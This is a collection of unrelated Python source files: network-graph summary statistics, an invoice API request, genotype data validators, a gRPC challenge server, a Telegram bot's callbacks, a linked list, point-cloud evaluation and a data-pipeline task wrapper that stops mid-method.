import codecs
import community
import json
import logging
import networkx as nx
import operator
import tempfile
import databasic.logic.filehandler as filehandler
from csvkit import table
from networkx.readwrite import json_graph

logger = logging.getLogger(__name__)

def get_summary(input_path, has_header_row=True):
    """
    Publicly access data summary
    """
    ctd = ConnectTheDots(input_path, has_header_row)
    return ctd.get_summary()

def get_graph(input_path, has_header_row=True):
    """
    Return the graph for testing purposes
    """
    ctd = ConnectTheDots(input_path, has_header_row)
    return ctd.as_graph()

class ConnectTheDots():
    def __init__(self, input_path, has_header_row=True):
        """
        Initialize the object
        """
        utf8_file_path = filehandler.convert_to_utf8(input_path)
        input_file = codecs.open(utf8_file_path, 'r', filehandler.ENCODING_UTF_8)
        try:
            self.table = table.Table.from_csv(input_file,
                                              no_header_row=not has_header_row,
                                              snifflimit=0,
                                              blanks_as_nulls=False)
            if len(self.table) != 2:
                raise ValueError('File has more than two columns')
            else:
                self.graph = nx.from_edgelist(self.table.to_rows())
        except Exception as e:
            logger.error('[CTD] Unable to make table from csv: %s' % e)

    def get_summary(self):
        """
        Return a summary of the network data
        """
        MAX_NODES = 3000

        results = {}

        if hasattr(self, 'graph'):
            node_count = self.count_nodes()
            edge_count = self.count_edges()

            if node_count > MAX_NODES:
              k = 1000
              logger.debug('[CTD] Using k = %s to approximate betweenness centrality' % k)
            else:
              k = None

            nodes = nx.nodes(self.graph)
            degree = {n: self.graph.degree(n) for n in nodes}
            bc = nx.betweenness_centrality(self.graph, k=k)
            partition = community.best_partition(self.graph)
            results['bipartite'] = self.is_bipartite_candidate()
            results['communities'] = len(set(partition.values()))

            if results['bipartite']:
                self.nodes = [{'id': n, 'degree': degree[n], 'centrality': bc[n], 'community': partition[n], 'column': 0 if n in self.col0 else 1} for n in nodes]
            else:
                self.nodes = [{'id': n, 'degree': degree[n], 'centrality': bc[n], 'community': partition[n]} for n in nodes]

            self.graph_with_metadata = self.graph.copy()
            nx.set_node_attributes(self.graph_with_metadata, 'degree', degree)
            nx.set_node_attributes(self.graph_with_metadata, 'betweenness centrality', bc)

            colors = ['blue', 'orange', 'green', 'red', 'purple', 'brown', 'pink', 'grey', 'olive', 'turquoise']
            if results['communities'] > 20:
                self.community_color = {n: ('dark' if partition[n] % 2 == 0 else 'light') + colors[int(partition[n] % 20 / 2)] + str(partition[n] / 20) for n in nodes}
            elif results['communities'] > 10:
                self.community_color = {n: ('dark' if partition[n] % 2 == 0 else 'light') + colors[int(partition[n] / 2)] for n in nodes}
            else:
                self.community_color = {n: colors[int(partition[n])] for n in nodes}

            nx.set_node_attributes(self.graph_with_metadata, 'community', self.community_color)

            results['nodes'] = node_count
            results['edges'] = edge_count

            results['clustering'] = self.get_clustering_score()
            results['density'] = self.get_density_score()
            results['connector'] = max(self.nodes, key=lambda x:x['centrality'])['id']

            results['table'] = self.as_table()
            results['json'] = self.as_json()
            results['gexf'] = self.as_gexf()

        return results

    def count_nodes(self):
        """
        Count the number of (unique) nodes in the dataset
        """
        return nx.number_of_nodes(self.graph)

    def count_edges(self):
        """
        Count the number of edges in the dataset
        """
        return nx.number_of_edges(self.graph)

    def get_clustering_score(self):
        """
        Return the graph's global clustering/"clique-ishness" score
        """
        return nx.average_clustering(self.graph) # using default # of trials: 1000

    def get_density_score(self):
        """
        Return the graph's global density/"connectedness" score
        """
        return nx.density(self.graph)

    def as_graph(self):
        """
        Return the networkx graph object
        """
        return self.graph

    def as_table(self):
        """
        Return the table of nodes with degree/centrality/community color
        """
        rows = [{'id': n['id'],
                 'degree': n['degree'],
                 'centrality': n['centrality'],
                 'community': self.community_color[n['id']]} for n in self.nodes]
        return sorted(rows, key=operator.itemgetter('centrality'), reverse=True)

    def as_json(self):
        """
        Return the graph as JSON for D3 visualization
        """
        output = json_graph.node_link_data(self.graph)
        output['nodes'] = self.nodes
        return json.dumps(output)

    def as_gexf(self):
        """
        Return the graph as GEXF for download
        """
        [open_handle, full_path] = tempfile.mkstemp()
        nx.write_gexf(self.graph_with_metadata, full_path)
        content = open(full_path, 'r').read()
        return content

    def is_bipartite_candidate(self):
        """
        Return true if network might be bipartite (unique values per column)
        """
        self.col0 = {}
        for val in list(set(self.table[0])):
            self.col0[val] = True
        for val in list(set(self.table[1])):
            if val in self.col0:
                return False
        return True


import pprint
import os
import sys

sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from request import BaseRequest
from dotenv import dotenv_values

config = dotenv_values()

# Example of GET /invoices/:invoice_id

class GetInvoiceRequest(BaseRequest):
    def __init__(self):
        super().__init__()

    def get_invoice(self, id):
        path = f"/invoices/{id}"
        return self.make_request("GET", path)

# run as standalone script by passing any command line argument
if len(sys.argv) > 1:
    invoice_id = config['INVOICE_ID']

    get_invoice_request = GetInvoiceRequest()
    invoice = get_invoice_request.get_invoice(invoice_id )

    pprint.pprint(invoice)


from di.declarative import DeclarativeApp, DeclarativeModule, scan_factories
from tests.di.declarative import mod_simple, mod_simple_impl

def test_build_simple_readme_example():
    # create app definition
    app_def = DeclarativeApp(
        DeclarativeModule(
            # automatically add factories from `mod_simple` and `mod_simple_impl`
            scan_factories(mod_simple, mod_simple_impl),
        )
    )

    # build app
    instance = app_def.build_instance()

    # get initialized `DomainAction` object
    (action,) = instance.values_by_type(mod_simple.DomainAction)

    # check app works
    assert action.present() == "Data found: di, test"


import csv
import numpy as np
import pandas as pd

from . import parse

def test_genotype_file(fname, quiet=False):
    """
    Validate a genotype input file.

    Parameters
    ----------
    fname : string
        Name of file containing genotype file.
    quiet : bool, default False
        If True, print problems with data set to screen.

    Returns
    -------
    output: bool
        True if genotype file passed test. False otherwise.
    """

    # Keep tabs on number of failures.
    n_fail = 0

    if not quiet:
        print()

    # Sniff out the delimiter, see how many headers, check file not empty
    n_header, delimiter, line = parse._sniff_file_info(
                    fname, check_header=True, comment='#', quiet=False)

    # Check headers
    if n_header >= 3:
        if not quiet:
            print('ERROR: Genotype file possibly uses wrong comment character.')
            print('\n***GENOTYPE VALIDATION FAILED***\n')
        return 1
    elif n_header == 2:
        if not quiet:
            print('Warning: Genotype file probably has two header rows.\n')
        n_fail += 1
        header = [0, 1]
    elif n_header == 0:
        if not quiet:
            print('ERROR: Genotype file is probably missing a header.')
        n_fail += 1
        header = 'infer'
    else:
        header = 'infer'

    # Make sure there is some data
    if line == '':
        if not quiet:
            print('ERROR: Genotype file has no data,\n')
            print('***GENOTYPE VALIDATION FAILED***\n')
        return n_fail + 1

    # Check comma delimiting
    if delimiter != ',':
        print('ERROR: Genotype file is not comma delimited.\n')
        n_fail += 1

    # Read file
    df = pd.read_csv(fname, comment='#', header=header, delimiter=delimiter)

    # Reset the columns to be the second level of indexing
    if header == [0, 1]:
        df.columns = df.columns.get_level_values(1)

    # Make sure there is an omit column
    if 'omit' not in df.columns:
        if not quiet:
            print('ERROR: No `omit` column in genotype file.\n')

    # Make sure columns (genotypes) are unique
    dups = df.columns[df.columns.duplicated()].unique()
    if len(dups) > 0:
        if not quiet:
            print('ERROR: Duplicated genotypes:', dups, '\n')
        n_fail += 1

    # Melt the DataFrame
    df = pd.melt(df, var_name='genotype', value_name='fish').dropna()

    # Make sure it is non-empty
    if len(df) == 0:
        if not quiet:
            print('ERROR: No fish are assigned genotypes.\n')
        n_fail += 1

    # Reset the index
    df = df.reset_index(drop=True)

    # Make sure data type is integer
    df.loc[:,'fish'] = df.loc[:,'fish'].astype(int)

    # Check for duplicate fish
    if df['fish'].duplicated().sum() > 0:
        if not quiet:
            print('ERROR: Fish were duplicates:',
                  list(df.loc[df['fish'].duplicated(), 'fish'].unique()))
            print('\n')
        n_fail += 1

    if n_fail > 0:
        if not quiet:
            print('***GENOTYPE VALIDATION FAILED***\n')
    else:
        if not quiet:
            print('Genotype validation passed.\n')

    return n_fail == 0

def test_activity_file(fname, genotype_fname, quiet=False):
    """
    Validate an activity input file.

    Parameters
    ----------
    fname : string
        Name of file containing genotype file.
    quiet : bool, default False
        If True, print problems with data set to screen.

    Returns
    -------
    output: bool
        True if activity file passed test. False otherwise.
    """

    if not quiet:
        print()

    # Keep tabs on number of failures.
    n_fail = 0

    # Sniff out the delimiter, see how many headers, check file not empty
    _, delimiter, line = parse._sniff_file_info(fname, check_header=False,
                                                comment='#', quiet=False)

    if delimiter != ',':
        if not quiet:
            print('ERROR: Activity file is not comma delimited.\n')
        n_fail += 1

    if line == '':
        if not quiet:
            print('ERROR: Activity file has no data.\n')
        n_fail += 1

    # Read in data file
    df = pd.read_csv(fname)

    # Make sure columns are correct
    cols = ['location', 'animal', 'user', 'sn', 'an', 'datatype', 'start',
            'end', 'startreason', 'endreason', 'frect', 'fredur', 'midct',
            'middur', 'burct', 'burdur', 'stdate', 'sttime']
    if len(df.columns) != len(cols):
        if not quiet:
            print('ERROR: Wrong number of columns in DataFrame.\n')
        n_fail += 1

    if set(df.columns) - set(cols) != set():
        if not quiet:
            print('ERROR: Columns present that should not be:',
                  set(df.columns) - set(cols), '\n')
        n_fail += 1

    if set(cols) - set(df.columns) != set():
        if not quiet:
            print('ERROR: Columns absent that should be there:',
                  set(cols) - set(df.columns), '\n')
        n_fail += 1

    # Check for missing data
    total_nan = df.isnull().sum().sum()
    if total_nan > 0:
        if not quiet:
            if total_nan > 100:
                print('ERROR: More than 100 missing data entries.\n')
            else:
                df_null = df.isnull().unstack()
                print('ERROR: Missing data:')
                print(df_null[df_null])
                print('\n')
        n_fail += 1

    # Check to make sure all values that should be nonnegative are
    if (df['start'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `start` times.\n')
        n_fail += 1
    if (df['end'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `start` times.\n')
        n_fail += 1
    if (df['frect'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `frect` values.\n')
        n_fail += 1
    if (df['fredur'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `fredur` values.\n')
        n_fail += 1
    if (df['midct'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `midct` values.\n')
        n_fail += 1
    if (df['middur'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `middur` values.\n')
        n_fail += 1
    if (df['burct'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `burct` values.\n')
        n_fail += 1
    if (df['burdur'] < 0).sum() > 0:
        if not quiet:
            print('ERROR: Some negative `burdur` values.\n')
        n_fail += 1

    # Check that start times are sequential
    if (np.diff(df['start'].unique()) < 0).sum():
        if not quiet:
            print('ERROR: Nonsequential `start` values.\n')
        n_fail += 1

    # Make sure all end times greater than their start times
    if (df['end'] <= df['start']).sum() > 0:
        if not quiet:
            print('ERROR: Some `end` times occur before their `start` times.\n')
        n_fail += 1

    # Check that start and stop times of intervals are kosher
    time_int = (df['end'] - df['start']).median()
    good_int = np.logical_or(np.isclose(df['end'] - df['start'], time_int),
                             df['endreason'] == 'End of session')
    if not np.all(good_int):
        if not quiet:
            df_bad = df.loc[~good_int, ['start', 'end']]
            max_bad = (df_bad['end'] - df_bad['start']).max()
            min_bad = (df_bad['end'] - df_bad['start']).min()
            print('ERROR: Bad time intervals based on `start` and `end`.')
            print('            Standard interval:', time_int)
            print('                 Max interval:', max_bad)
            print('                 Min interval:', min_bad)
            print('      Number of bad intervals:', len(df_bad))
            print('    Fraction of intervals bad:', len(df_bad) / len(df))
            print('\n')
        n_fail += 1

    # Check that clock time matches start times
    df['time'] = pd.to_datetime(df['stdate'] + df['sttime'],
                                format='%d/%m/%Y%H:%M:%S')
    df['time_start'] = pd.to_numeric(df['time'] - df['time'].min()) / 1e9
    t_diff = df['time_start'] - df['start']
    if not np.isclose(t_diff.max(), 0):
        if not quiet:
            print('ERROR: `sttime` and `start` do not match.')
            print('    Maximum `sttime` - `start`:', t_diff.max())
            print('    Minimum `sttime` - `start`:',
                                    t_diff[np.abs(t_diff)>0].min())
            print('       Number of discrepancies:',
                  (~np.isclose(t_diff, 0)).sum())
            print('     Fraction of intervals bad:',
                  (~np.isclose(t_diff, 0)).sum() / len(df))
            print('\n')
        n_fail += 1

    # Count how many unique fish there are
    n_fish = len(df['location'].unique())

    # Detect if it's the new file format, and the convert fish to integer
    if '-' in df['location'].iloc[0]:
        df['location'] = df['location'].apply(lambda x: x[x.rfind('-')+1:]).astype(int)
    else:
        df['location'] = df['location'].str.extract('(\d+)', expand=False).astype(int)

    # Make sure all fish are accounted for in genotype file
    try:
        df_g = parse.load_gtype(genotype_fname, quiet=True)
        test_gtypes = True
    except:
        print('ERROR: Cannot open genotype file.\n')
        n_fail += 1
        test_gtypes = False

    if test_gtypes:
        g_set = set(df_g['location'].unique())
        a_set = set(df['location'].unique())

        set_diff = a_set - g_set
        if set_diff != set():
            n_fail += 1
            print('ERROR: location [ ', end='')
            for x in sorted(list(set_diff)):
                print(x, end=' ')
            print('] in activity file but not in genotype file.')
            if 'omit' in df_g.columns:
                print()
            else:
                print('Possibly due to no `omit` column in genotype file.\n')

        set_diff = g_set - a_set
        if set_diff != set():
            n_fail += 1
            print('ERROR: location [ ', end='')
            for x in sorted(list(set_diff)):
                print(x, end=' ')
            print('] in genotype file but not in activity file.\n')

    if n_fail > 0:
        if not quiet:
            print('***ACTIVITY VALIDATION FAILED***\n')
    else:
        if not quiet:
            print('Activity validation passed.\n')

    return n_fail == 0


# Pattern RPC server

# Standard library imports
import concurrent
import json
import os
import sys
import time

# Imports from third party packages
import grpc

# Imports from current project
import pattern_pb2

class ChallengeServer(pattern_pb2.PatternGenTestServicer):
    def __init__(self):
        super(ChallengeServer, self).__init__()
        self.current_count = 0
        self.success_msg = "Yaay! All challenges solved!"
        self.trial_count = 50
        self.welcome = pattern_pb2.Welcome(
                        banner="Welcome to challenge.",
                        trial_count=self.trial_count
                       )
        return

    def _generate_challenge(self):
        curr_challenge = test_cases[self.current_count - 1]
        start = curr_challenge["start"]
        end = curr_challenge["end"]
        period = curr_challenge["period"]
        self.exp_ans = curr_challenge["ans"]
        self.challenge = pattern_pb2.Challenge(start=start, end=end, step=period)
        return

    def GetChallenge(self, request, context):
        if self.current_count == 0:
            # First request
            self.current_count += 1
            self._generate_challenge()
            response = pattern_pb2.ChallengeResponse(
                        challenge=self.challenge,
                        welcome=self.welcome
                       )
        elif request.solution == self.exp_ans:
            # Correct answer. Increment trial count. If done, stop else send next
            # challenge.
            self.current_count += 1
            if self.current_count > self.trial_count:
                response = pattern_pb2.ChallengeResponse(
                            correct=True,
                            status_msg=self.success_msg
                           )
                # Simulates disconnection since server thinks it's first request from
                # client.
                self.current_count = 0
            else:
                self._generate_challenge()
                response = pattern_pb2.ChallengeResponse(
                            challenge=self.challenge,
                            correct=True
                           )
        else:
            # Incorrect answer
            msg = "Incorrect answer! Got %s, expected %s" % \
                (request.solution, self.exp_ans)
            response = pattern_pb2.ChallengeResponse(
                        correct=False,
                        status_msg=msg
                       )
            # Simulates disconnection since server things it's first request from
            # client.
            self.current_count = 0

        return response

def serve():
    if len(sys.argv) != 3:
        print("Usage: %s PORT TEST_CASE_FILE" % (sys.argv[0]))
        sys.exit(1)

    port = int(sys.argv[1])
    if port < 1 or port >= pow(2, 16):
        print("Port number should lie between 1 and 65535")
        sys.exit(1)

    filename = sys.argv[2]
    if not os.path.isfile(filename):
        print("%s is not a valid file.")
        sys.exit(1)

    fp = open(filename)
    global test_cases
    try:
        test_cases = json.load(fp)
    except ValueError:
        print(("%s does not have valid JSON content. Please check if you chose the" +
              "correct file") % (filename))
        fp.close()
        sys.exit(1)

    fp.close()
    server = grpc.server(concurrent.futures.ThreadPoolExecutor(max_workers=10))
    pattern_pb2.add_PatternGenTestServicer_to_server(ChallengeServer(), server)
    server.add_insecure_port('[::]:%d' % (port))
    server.start()
    try:
        while True:
            time.sleep(60 * 60 * 24)
    except KeyboardInterrupt:
        server.stop(0)

    return

if __name__ == "__main__":
    serve()


#20220227
#백준(투포인터) : 21921 블로그#https://www.acmicpc.net/problem/21921

import sys
#누적 합
from itertools import accumulate
input = sys.stdin.readline

n, x = map(int,input().split())
s = 0
hap = []
a = list(map(int,input().split()))
b = list(accumulate(a))

for i in range(1,n):
  if (i-x) < 0:
    hap.append(b[i])
  else:
    hap.append(b[i]-b[i-x])

if max(hap) != 0:
  print(max(hap))
else:
  print('SAD')
  exit(0)

print(hap.count(max(hap)))


"""Respondent callbacks."""

# imports
import logging

from aiogram import types, Dispatcher
from aiogram.dispatcher import FSMContext

from data import db_session
from data.QuestionModel import Question
from handlers.dialogue_handlers import start_chat
from handlers.respondent_handlers import respondent_send_interactions
from handlers.states import RespondentStates, DialogueStates

logger = logging.getLogger(__name__)
session = db_session.create_session()

async def respondent_swipe_available_questions(callback: types.CallbackQuery, state: FSMContext):
    """Callback to swipe available questions."""

    user_data = await state.get_data()
    i, questions = user_data['index'], user_data['questions']
    message = user_data['message']
    available_questions_keyboard = types.InlineKeyboardMarkup(row_width=3)
    size = len(questions)
    action = callback.data
    if action == "previous_question":
        i = (i - 1 + size) % size
    elif action == "next_question":
        i = (i + 1) % size
    elif action == 'go_back':
        await RespondentStates.send_interactions.set()
        await callback.answer()
        await respondent_send_interactions(message)
        return
    elif action == "give_answer":
        await state.reset_data()
        await state.update_data(question=questions[i])
        await callback.message.answer(text="Please write full and correct answer on given question:")
        await RespondentStates.give_answer.set()
        return
    if size == 1:
        await callback.answer()
        return
    buttons = [
        [types.InlineKeyboardButton(text='⬅', callback_data="previous_question"),
         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data="question_num"),
         types.InlineKeyboardButton(text='➡', callback_data="next_question")],
        [types.InlineKeyboardButton(text='Give answer', callback_data='give_answer')],
        [types.InlineKeyboardButton(text="Back to menu ↩🥺", callback_data='go_back')]
    ]
    available_questions_keyboard.inline_keyboard = buttons
    await state.update_data(index=i)
    await callback.message.edit_text(text=f"Question:\n"
                                          f"{questions[i].text}",
                                     reply_markup=available_questions_keyboard)
    await callback.answer()

async def respondent_swipe_answers(callback: types.CallbackQuery, state: FSMContext):
    """Callback to swipe answers."""

    user_data = await state.get_data()
    i, answers = user_data['index'], user_data['answers']
    message = user_data['message']
    show_answers_keyboard = types.InlineKeyboardMarkup(row_width=3)
    size = len(answers)
    action = callback.data
    if action == "previous_question":
        i = (i - 1 + size) % size
    elif action == "next_question":
        i = (i + 1) % size
    elif action == 'go_back':
        await RespondentStates.send_interactions.set()
        await callback.answer()
        await respondent_send_interactions(message)
    buttons = [
        [types.InlineKeyboardButton(text='⬅', callback_data="previous_question"),
         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data="question_num"),
         types.InlineKeyboardButton(text='➡', callback_data="next_question")],
        [types.InlineKeyboardButton(text="Back to menu ↩🥺", callback_data='go_back')]
    ]
    show_answers_keyboard.inline_keyboard = buttons
    await state.update_data(index=i)
    question = session.query(Question).filter(Question.id == answers[i].question_id).first()
    await callback.message.edit_text(text=f"Question:\n"
                                          f"{question.text}\n\n"
                                          f"Your answer:\n"
                                          f"{answers[i].text}",
                                     reply_markup=show_answers_keyboard)
    await callback.answer()

async def respondent_show_requests(callback: types.CallbackQuery, state: FSMContext):
    """Shows requests to respondent."""

    user_data = await state.get_data()
    i, requests = user_data['index'], user_data['requests']
    message = user_data['message']
    made_action = user_data['made_action']
    show_requests_keyboard = types.InlineKeyboardMarkup(row_width=3)
    size = len(requests)
    action = callback.data
    if action == "prev_request":
        if size == 1:
            await callback.answer()
            return
        i = (i - 1 + size) % size
    elif action == "next_request":
        if size == 1:
            await callback.answer()
            return
        i = (i + 1) % size
    elif action == "go_back":
        await RespondentStates.send_interactions.set()
        await callback.answer()
        await respondent_send_interactions(message)
    elif action == "accept":
        made_action = True
        await DialogueStates.start_chat.set()
        await state.reset_data()
        await state.update_data(request=requests[i])
        session.delete(requests[i])
        session.commit()
        await start_chat(message, state)
    elif action == "refuse":
        made_action = True
        await callback.answer(text="Request was refused")
    buttons = [
        [types.InlineKeyboardButton(text='⬅', callback_data="prev_request"),
         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data="question_num"),
         types.InlineKeyboardButton(text='➡', callback_data="next_request")],
    ]
    if not made_action:
        buttons.extend([[types.InlineKeyboardButton(text="Accept", callback_data="accept")],
                        [types.InlineKeyboardButton(text="Refuse", callback_data="refuse")]])
    buttons.append([types.InlineKeyboardButton(text="Back to menu ↩🥺", callback_data="go_back")])
    show_requests_keyboard.inline_keyboard = buttons
    question = session.query(Question).filter(Question.id == requests[i].question_id).first()
    await state.update_data(index=i, made_action=made_action)
    await callback.message.edit_text(text=f"Request for question:\n"
                                          f"\"{question.text}\"",
                                     reply_markup=show_requests_keyboard)
    await callback.answer()

def register_respondent_callbacks(dp: Dispatcher):
    """Register all respondent callbacks to dispatcher."""

    logger.info(msg="Registering respondent callbacks.")
    dp.register_callback_query_handler(respondent_swipe_available_questions,
                                       state=RespondentStates.show_available_questions)
    dp.register_callback_query_handler(respondent_swipe_answers, state=RespondentStates.show_answers)
    dp.register_callback_query_handler(respondent_show_requests, state=RespondentStates.show_requests)


class Node:
    def __init__(self,data):
        self.data = data
        self.next = None
        self.prev = None

    def __str__(self):
        if self.data:
            return self.data.__str__()
        else:
            return 'Empty Node'

    def __repr__(self):
        return self.__str__()

class LinkedList:
    def __init__(self):
        self.head = None

    def append_nodes(self,data):
        new_node = Node(data)
        new_node.next = self.head
        if self.head is not None:
            self.head.prev = new_node
        self.head = new_node

    def remove_dupls(self):
        unique_dict ={}
        node = self.head
        while node is not None:
            if node.data not in unique_dict.keys():
                unique_dict[node.data] = node
            else:
                if node.next:
                    node.prev.next = node.next
                    node.next.prev = node.prev
                else:
                    node.prev.next = None

            node = node.next

    def print_list(self):

        node = self.head
        while node is not None:
            print ('{}'.format(node.data))
            node = node.next

ll = LinkedList()
ll.append_nodes(1)
ll.append_nodes(4)
ll.append_nodes(4)
ll.append_nodes(4)
ll.append_nodes(4)
print ('original list')
ll.print_list()
print ('*****************')
ll.remove_dupls()
print ('removed dupls list')
ll.print_list()


import typing
import numpy as np
import open3d as o3d
import cv2
import os
import copy
from scipy.spatial.transform import Rotation as R

from utils.iterative_utils import convert_realsense_rgb_depth_to_o3d_pcl

from utils.evaluate_results_utils import calculate_chamfer, calculate_fscore, compute_iou

import argparse

def normalize_pc(gt_points, pred_points):
    centroid = np.mean(gt_points, axis=0)
    gt_points -= centroid
    pred_points -= centroid
    furthest_distance = (np.max(np.sqrt(np.sum(abs(gt_points)**2,axis=-1))) * 2)
    gt_points /= furthest_distance
    pred_points /= furthest_distance
    return gt_points, pred_points

def evaluate_results(results_dir, gt_dir):
    pred_scenes = os.listdir(results_dir)
    total_fscore_list = []
    total_cscore_list = []
    total_f_cscore_list = []
    total_b_cscore_list = []
    total_iscore_list = []
    for pred_scene in pred_scenes:
        pred_frames = os.listdir(results_dir + pred_scene)
        for pred_frame in pred_frames:
            gt_pcd = o3d.io.read_point_cloud(gt_dir + pred_scene + "_gt.ply")
            pred_pcd = o3d.io.read_point_cloud(results_dir + pred_scene + "/" + pred_frame + "/final.ply")

            c1_T_w = np.load(results_dir + pred_scene + "/" + pred_frame + "/extrinsics.npy")

            pred_pcd = copy.deepcopy(pred_pcd).transform(c1_T_w)
            pred_pcd.scale(100, center=[0,0,0])
            c1_T_w[:3,-1] *= 100
            pred_pcd = copy.deepcopy(pred_pcd).transform(np.linalg.inv(c1_T_w))
            pred_pcd = pred_pcd.voxel_down_sample(voxel_size=0.5)
            pred_pcd.paint_uniform_color([1, 0, 0])

            z_min = np.min(np.array(gt_pcd.points), 0)[2]

            min_bound_meshes = np.load(gt_dir + pred_scene + "_min_bound.npy")
            max_bound_meshes = np.load(gt_dir + pred_scene + "_max_bound.npy")
            bbox = o3d.geometry.AxisAlignedBoundingBox(min_bound=min_bound_meshes, max_bound=max_bound_meshes)
            pred_pcd = pred_pcd.crop(bbox)

            # o3d.visualization.draw([gt_pcd] + [pred_pcd])

            pred_points = pred_pcd.points
            gt_points = gt_pcd.points
            gt_points_normalize, pred_points_normalize = normalize_pc(gt_points, pred_points)

            pred_pcd.points = o3d.utility.Vector3dVector(pred_points_normalize)
            gt_pcd.points = o3d.utility.Vector3dVector(gt_points_normalize)

            c_score, c_forward, c_backward = calculate_chamfer(gt_pcd, pred_pcd)
            f_score, _, _ = calculate_fscore(gt_pcd, pred_pcd, 0.01)

            pred_pcd = pred_pcd.crop(gt_pcd.get_axis_aligned_bounding_box())
            i_score = compute_iou(gt_pcd, pred_pcd, 100)

            total_cscore_list.append(c_score)
            total_f_cscore_list.append(c_forward)
            total_b_cscore_list.append(c_backward)
            total_fscore_list.append(f_score)
            total_iscore_list.append(i_score)
    avg_fscore = np.mean(total_fscore_list)
    avg_cscore = np.mean(total_cscore_list)
    avg_f_cscore = np.mean(total_f_cscore_list)
    avg_b_cscore = np.mean(total_b_cscore_list)
    avg_iscore = np.mean(total_iscore_list)

    std_fscore = np.std(total_fscore_list)
    std_cscore = np.std(total_cscore_list)
    std_f_cscore = np.std(total_f_cscore_list)
    std_b_cscore = np.std(total_b_cscore_list)
    std_iscore = np.std(total_iscore_list)

    print("OUR METHOD:")
    print("F-Score Mean: ", np.around(avg_fscore, decimals=3), "F-Score STD: ", np.around(std_fscore, decimals=3))
    print("Chamfer Distance Mean: ", np.around(avg_cscore, decimals=5), "Chamfer Distance STD: ", np.around(std_cscore, decimals=3))
    print("Forward Chamfer Distance Mean: ", np.around(avg_f_cscore, decimals=3), "STD: ", np.around(std_f_cscore, decimals=3))
    print("Backward Chamfer Distance Mean: ", np.around(avg_b_cscore, decimals=3), "STD: ", np.around(std_b_cscore, decimals=3))
    print("IoU Mean: ", np.around(avg_iscore, decimals=3), "IoU STD: ", np.around(std_iscore, decimals=3))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Script configuration")
    parser.add_argument("--results_dir", type=str, default="results/", help="Directory containing results to evaluate")
    parser.add_argument("--gt_dir", type=str, default="gt_pcds/", help="Directory for gt ptclouds")

    # Parsing arguments
    args = parser.parse_args()

    evaluate_results(args.results_dir, args.gt_dir)


from copy import deepcopy
from typing import Any, Dict, Optional, Set

from ..database.unknown import UnknownDb

from ..core.errors import Err, Exc, Ok, Result
from ..utils.misc import map_nested

from .task import Task, TaskStatus

# Properties from a task dictionary that won't be part of the task
# configuration as they are standard SAYN task properties
_excluded_properties = (
    "name",
    "type",
    "tags",
    "group",
    "parents",
    "sources",
    "outputs",
    "parameters",
    "class",
    "preset",
    "on_fail",
    "module",
)

class TaskWrapper:
    """Task wrapper managing the execution of tasks.

    This class wraps a task runner (sayn.tasks.Task) and manages the lifetime of said task.
    In a SAYN execution there will be 1 TaskWrapper per task in the project, whether the task
    is to be executed or ignored based on the task query (`-t` and `-x` arguments to `sayn`).

    Properties:
      name (str): the name of the task
      group (str): the name of the task group file where the task was defined
      tags (List[str]): list of tags declared for the task
      parents (List[sayn.task_wrapper.TaskWrapper]): the list of parents to the current task
      project_parameters (Dict[str, Any]): parameters defined at project level
      task_parameters (Dict[str, Any]): parameters defined at task level
      in_query (bool): whether the task is selected for execution based on the task query
      runner (Task): the object that will do the actual work
      status (TaskStatus): the current status of the task
    """

    name: str
    group: str
    tags: Set[str]
    parent_names: Set[str]
    sources_yaml: Set[Any]
    outputs_yaml: Set[Any]
    used_connections: Set[str]
    project_parameters: Dict[str, Any]
    task_parameters: Dict[str, Any]
    in_query: bool = False
    runner: Optional[Task]
    status: TaskStatus = TaskStatus.UNKNOWN

    def __init__(
        self,
        group: str,
        name: str,
        task_type: str,
        on_fail: str,
        parent_names: Set[str],
        sources: Set[str],
        outputs: Set[str],
        tags: Set[str],
        tracker,
        task_class,
        connections,
        default_db,
        run_arguments,
        compiler,
        db_object_compiler,
    ):

        self.tags = set(tags or set())
        self.parent_names = set(parent_names or set())
        self.parents = list()
        self.sources_yaml = set(sources or set())
        self.sources = set()
        self.outputs_yaml = set(outputs or set())
        self.outputs = set()
        self.sources_from_prod = set()
        self.used_connections = set()
        self.tracker = tracker
        self.runner = None

        self.name = name
        self.group = group
        self.task_type = task_type
        self.on_fail = on_fail or "skip"

        self.default_db = default_db
        self.connections = dict(connections)
        self.db_object_compiler = db_object_compiler

        self.task_class = task_class

        if self.task_class is None:
            self.status = TaskStatus.FAILED
        else:
            self.status = TaskStatus.CONFIGURING

            self.compiler = compiler.get_task_compiler(group=self.group, name=self.name)

            self.run_arguments = {
                "debug": run_arguments.debug,
                "full_load": run_arguments.full_load,
                "start_dt": run_arguments.start_dt,
                "end_dt": run_arguments.end_dt,
                "dates_specified": run_arguments.dates_specified,
                "command": run_arguments.command.value,
                "is_prod": run_arguments.is_prod,
                "folders": {
                    "python": run_arguments.folders.python,
                    "sql": run_arguments.folders.sql,
                    "compile": run_arguments.folders.compile,
                    "logs": run_arguments.folders.logs,
                    "tests": run_arguments.folders.tests,
                },
            }

    def config(
        self,
        task_config: Dict[str, Any],
        project_parameters: Dict[str, Any],
        task_parameters: Dict[str, Any],
    ):
        # Check the parents are in a good state
        result = self.check_skip()
        if result.is_err or result.value == TaskStatus.SKIPPED:
            return result

        try:
            self.set_parameters(project_parameters, task_parameters)
        except Exception as exc:
            self.status = TaskStatus.FAILED
            return Exc(exc, where="set_task_parameters")

        # for decorator tasks
        if hasattr(self.task_class, "func_arguments"):
            for arg in self.task_class.func_arguments:
                if arg in self.connections:
                    self.used_connections.add(arg)

        try:
            runner = self.task_class(
                self.name,
                self.group,
                self.tracker,
                self.run_arguments,
                self.task_parameters,
                self.project_parameters,
                self.default_db,
                self.connections,
                self.compiler,
                self.src,
                self.out,
            )
        except Exception as exc:
            self.status = TaskStatus.FAILED
            return Exc(exc, where="create_task_runner")

        # # compile Outputs YAML and Sources YAML
        self.outputs_yaml = [self.compiler.compile(o) for o in self.outputs_yaml]

